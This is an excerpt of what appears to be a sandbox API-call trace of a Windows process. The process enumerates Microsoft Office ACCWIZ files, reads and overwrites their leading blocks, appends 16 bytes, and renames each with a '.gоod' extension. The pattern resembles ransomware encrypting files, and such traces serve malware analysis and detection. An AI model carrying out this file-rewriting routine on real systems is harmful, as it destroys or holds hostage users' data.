ftLastAccessTime.dwLowDateTime=0x1335b74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1335b74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec86a00 [0199.366] FindNextFileW (in: hFindFile=0x1ec86a00, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1335b74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1335b74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.366] FindNextFileW (in: hFindFile=0x1ec86a00, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12985c4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12985c4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12a6aa07, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x606000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZDAT12.ACCDU", cAlternateFileName="ACWZDA~1.ACC")) returned 1 [0199.366] FindNextFileW (in: hFindFile=0x1ec86a00, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12a447be, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12a447be, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1303a658, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZLIB.ACCDE", cAlternateFileName="ACWZLI~1.ACC")) returned 1 [0199.366] FindNextFileW (in: hFindFile=0x1ec86a00, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12fc801f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12fc801f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZMAIN.ACCDE", cAlternateFileName="ACWZMA~1.ACC")) returned 1 [0199.366] FindNextFileW (in: hFindFile=0x1ec86a00, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13086ac2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13086ac2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1335b74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZTOOL.ACCDE", cAlternateFileName="ACWZTO~1.ACC")) returned 1 [0199.366] FindNextFileW (in: hFindFile=0x1ec86a00, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1330f2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1330f2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x344000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZUSR12.ACCDU", cAlternateFileName="ACWZUS~1.ACC")) returned 1 [0199.367] FindNextFileW (in: hFindFile=0x1ec86a00, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1335b74d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1335b74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="UTILIT~1.ACC")) returned 1 [0199.367] FindNextFileW (in: hFindFile=0x1ec86a00, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1335b74d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1335b74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="UTILIT~1.ACC")) returned 0 [0199.367] FindClose (in: hFindFile=0x1ec86a00 | out: hFindFile=0x1ec86a00) returned 1 [0199.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf90) returned 1 [0199.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf50) returned 1 [0199.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE", lpFilePart=0x0) returned 0x44 [0199.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ede00) returned 1 [0199.368] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde"), fInfoLevelId=0x0, lpFileInformation=0x387b9f8 | out: lpFileInformation=0x387b9f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12a447be, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12a447be, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1303a658, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fe000)) returned 1 [0199.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206eddc0) returned 1 [0199.369] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE", lpFilePart=0x0) returned 0x44 [0199.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0199.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0199.369] GetFileType (hFile=0x820) returned 0x1 [0199.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0199.369] GetFileType (hFile=0x820) returned 0x1 [0199.369] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ede58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ede58*=0) returned 0x1000 [0199.369] ReadFile (in: hFile=0x820, lpBuffer=0x387be10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ede28, lpOverlapped=0x0 | out: lpBuffer=0x387be10*, lpNumberOfBytesRead=0x206ede28*=0x1000, lpOverlapped=0x0) returned 1 [0199.371] CloseHandle (hObject=0x820) returned 1 [0199.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE", lpFilePart=0x0) returned 0x44 [0199.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0199.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0199.371] GetFileType (hFile=0x820) returned 0x1 [0199.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0199.371] GetFileType (hFile=0x820) returned 0x1 [0199.371] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ede58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ede58*=0) returned 0x1fe000 [0199.371] WriteFile (in: hFile=0x820, lpBuffer=0x387efe8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206edd48, lpOverlapped=0x0 | out: lpBuffer=0x387efe8*, lpNumberOfBytesWritten=0x206edd48*=0x10, lpOverlapped=0x0) returned 1 [0199.372] CloseHandle (hObject=0x820) returned 1 [0199.372] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE", lpFilePart=0x0) returned 0x44 [0199.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0199.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0199.372] GetFileType (hFile=0x820) returned 0x1 [0199.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0199.372] GetFileType (hFile=0x820) returned 0x1 [0199.372] ReadFile (in: hFile=0x820, lpBuffer=0x38812a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206eddd8, lpOverlapped=0x0 | out: lpBuffer=0x38812a8*, lpNumberOfBytesRead=0x206eddd8*=0x1000, lpOverlapped=0x0) returned 1 [0204.516] CloseHandle (hObject=0x820) returned 1 [0204.516] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE", lpFilePart=0x0) returned 0x44 [0204.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0204.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0204.517] GetFileType (hFile=0x820) returned 0x1 [0204.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0204.517] GetFileType (hFile=0x820) returned 0x1 [0204.517] WriteFile (in: hFile=0x820, lpBuffer=0x328cbe0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206ede88, lpOverlapped=0x0 | out: lpBuffer=0x328cbe0*, lpNumberOfBytesWritten=0x206ede88*=0x1010, lpOverlapped=0x0) returned 1 [0204.517] CloseHandle (hObject=0x820) returned 1 [0204.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE", lpFilePart=0x0) returned 0x44 [0204.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE.gоod", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE.gоod", lpFilePart=0x0) returned 0x49 [0204.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206eddc0) returned 1 [0204.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde"), fInfoLevelId=0x0, lpFileInformation=0x206edea0 | out: lpFileInformation=0x206edea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12a447be, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12a447be, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x761d65ba, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe010)) returned 1 [0204.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edd80) returned 1 [0204.518] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde.gоod")) returned 1 [0204.519] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE", lpFilePart=0x0) returned 0x45 [0204.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ede00) returned 1 [0204.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde"), fInfoLevelId=0x0, lpFileInformation=0x33b8410 | out: lpFileInformation=0x33b8410*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12fc801f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12fc801f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d9000)) returned 1 [0204.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206eddc0) returned 1 [0204.520] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE", lpFilePart=0x0) returned 0x45 [0204.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0204.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0204.520] GetFileType (hFile=0x820) returned 0x1 [0204.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0204.520] GetFileType (hFile=0x820) returned 0x1 [0204.520] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ede58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ede58*=0) returned 0x1000 [0204.521] ReadFile (in: hFile=0x820, lpBuffer=0x33b8828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ede28, lpOverlapped=0x0 | out: lpBuffer=0x33b8828*, lpNumberOfBytesRead=0x206ede28*=0x1000, lpOverlapped=0x0) returned 1 [0204.528] CloseHandle (hObject=0x820) returned 1 [0204.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE", lpFilePart=0x0) returned 0x45 [0204.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0204.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0204.528] GetFileType (hFile=0x820) returned 0x1 [0204.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0204.528] GetFileType (hFile=0x820) returned 0x1 [0204.528] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ede58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ede58*=0) returned 0x8d9000 [0204.528] WriteFile (in: hFile=0x820, lpBuffer=0x33b9ac0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206edd48, lpOverlapped=0x0 | out: lpBuffer=0x33b9ac0*, lpNumberOfBytesWritten=0x206edd48*=0x10, lpOverlapped=0x0) returned 1 [0204.529] CloseHandle (hObject=0x820) returned 1 [0204.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE", lpFilePart=0x0) returned 0x45 [0204.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0204.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0204.530] GetFileType (hFile=0x820) returned 0x1 [0204.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0204.530] GetFileType (hFile=0x820) returned 0x1 [0204.530] ReadFile (in: hFile=0x820, lpBuffer=0x33bbd80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206eddd8, lpOverlapped=0x0 | out: lpBuffer=0x33bbd80*, lpNumberOfBytesRead=0x206eddd8*=0x1000, lpOverlapped=0x0) returned 1 [0205.599] CloseHandle (hObject=0x820) returned 1 [0205.599] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE", lpFilePart=0x0) returned 0x45 [0205.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0205.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0205.599] GetFileType (hFile=0x820) returned 0x1 [0205.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0205.600] GetFileType (hFile=0x820) returned 0x1 [0205.600] WriteFile (in: hFile=0x820, lpBuffer=0x33acec0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206ede88, lpOverlapped=0x0 | out: lpBuffer=0x33acec0*, lpNumberOfBytesWritten=0x206ede88*=0x1010, lpOverlapped=0x0) returned 1 [0205.600] CloseHandle (hObject=0x820) returned 1 [0205.600] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE", lpFilePart=0x0) returned 0x45 [0205.600] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE.gоod", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE.gоod", lpFilePart=0x0) returned 0x4a [0205.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206eddc0) returned 1 [0205.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde"), fInfoLevelId=0x0, lpFileInformation=0x206edea0 | out: lpFileInformation=0x206edea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12fc801f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12fc801f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x76c23d10, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8d9010)) returned 1 [0205.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edd80) returned 1 [0205.600] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde.gоod")) returned 1 [0205.601] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE", lpFilePart=0x0) returned 0x45 [0205.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ede00) returned 1 [0205.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde"), fInfoLevelId=0x0, lpFileInformation=0x345b810 | out: lpFileInformation=0x345b810*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13086ac2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13086ac2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1335b74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf6000)) returned 1 [0205.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206eddc0) returned 1 [0205.602] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE", lpFilePart=0x0) returned 0x45 [0205.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0205.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0205.603] GetFileType (hFile=0x820) returned 0x1 [0205.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0205.603] GetFileType (hFile=0x820) returned 0x1 [0205.603] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ede58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ede58*=0) returned 0x1000 [0205.603] ReadFile (in: hFile=0x820, lpBuffer=0x345bc28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ede28, lpOverlapped=0x0 | out: lpBuffer=0x345bc28*, lpNumberOfBytesRead=0x206ede28*=0x1000, lpOverlapped=0x0) returned 1 [0205.605] CloseHandle (hObject=0x820) returned 1 [0205.605] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE", lpFilePart=0x0) returned 0x45 [0205.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0205.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0205.605] GetFileType (hFile=0x820) returned 0x1 [0205.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0205.605] GetFileType (hFile=0x820) returned 0x1 [0205.605] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ede58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ede58*=0) returned 0xaf6000 [0205.605] WriteFile (in: hFile=0x820, lpBuffer=0x345cec0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206edd48, lpOverlapped=0x0 | out: lpBuffer=0x345cec0*, lpNumberOfBytesWritten=0x206edd48*=0x10, lpOverlapped=0x0) returned 1 [0205.606] CloseHandle (hObject=0x820) returned 1 [0205.606] 